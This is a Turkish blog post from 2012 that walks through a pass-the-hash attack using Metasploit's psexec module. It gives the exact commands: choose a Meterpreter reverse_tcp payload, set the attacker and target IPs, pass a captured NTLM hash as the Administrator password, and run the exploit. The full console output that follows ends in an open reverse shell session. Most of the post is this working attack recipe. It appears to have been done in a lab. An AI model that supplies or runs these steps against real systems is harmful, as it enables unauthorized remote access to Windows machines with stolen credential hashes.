25 Haziran 2012 Pazartesi

Password Hash’i Elde Bulunan Sistemlerde pass-the-hash Tekniği ile Oturum Açma



Hedef makine ile oturum açabilmek için sadece makine üzerinde zafiyetlerin bulunması gerekmemektedir. Örneğin bir makinenin Administrator şifresinin hash değerini bilmek te tek başına yeterli olabilir. Eğer bu hash değeri kırılamayan bir hash ise işte burada devreye pass-the-hash tekniği giriyor. Yani şifre yerine hash’i kullanarak hedef sistem üzerinde oturum açabiliyoruz. Bunu yaparken de metasploitin psexec modülünü kullanıyoruz.

Öncelikle kullanacağımız modülü ve payload’u belirtiyoruz. Burada payload olarak reverse_tcp kullanacağız.

msf > use windows/smb/psexec
msf  exploit(psexec) >  set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

Kaynak ve hedef makine IP’lerini girdikten sonra show options ile başka hangi bilgilere ihtiyaç duyulduğuna bakıyoruz.

msf  exploit(psexec) > set LHOST 192.168.183.214
LHOST => 192.168.183.214
msf  exploit(psexec) > set RHOST 192.168.183.207
RHOST => 192.168.183.207
msf  exploit(psexec) > show options 

Module options (exploit/windows/smb/psexec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOST      192.168.183.207  yes       The target address
   RPORT      445              yes       Set the SMB service port
   SHARE      ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share

   SMBDomain  WORKGROUP        no        The Windows domain to use for authentication
   SMBPass                     no        The password for the specified username
   SMBUser                     no        The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST     192.168.183.214  yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic


Elimizde bulunan Hash değerini SMBPass seçeneğinin karşısına yazıyoruz.

msf  exploit(psexec) > set SMBPass b69037b8b3970c3eaad3b435b51404ee:c524132537feb45e42eb5a4027285ad5
SMBPass => b69037b8b3970c3eaad3b435b51404ee:c524132537feb45e42eb5a4027285ad5

Administrator kullanıcı adını da SMBUser ile birlikte belirtiyoruz.

msf  exploit(psexec) > set SMBUser Administrator
SMBUser => Administrator

Tüm seçenekler tamamlandıktan sonra exploit komutunu girmek kalıyor sadece.

msf  exploit(psexec) > exploit

[*] Started reverse handler on 
192.168.183.214:4444 
[*] Connecting to the server...
[*] Authenticating to 192.168.183.207:445|WORKGROUP as user 'Administrator'...
[*] Uploading payload...
[*] Created \qEXHClGb.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.183.207[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.183.207[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (VDwmbPgb - "MkLLCNKILeYfkFtjljzPOzlWPc")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Sending stage (752128 bytes) to 192.168.183.207
[*] Closing service handle...
[*] Deleting \qEXHClGb.exe...
[*] Meterpreter session 1 opened (
192.168.183.214:4444 -> 192.168.183.207:1217) at 2012-06-24 19:14:32 -0400

meterpreter >

Görüldüğü gibi hash değerini kırmadan hedef makine üzerinde oturum açmayı başardık. Burada çıkarılması gereken asıl sonuç; oturum açmak için sadece zafiyet gerekmiyor. Metasploit üzerindeki modüller sayesinde sistem hakkında bilinen bilgiler ile oturum açılabilir.



-GG

0 yorum:

Yorum Gönder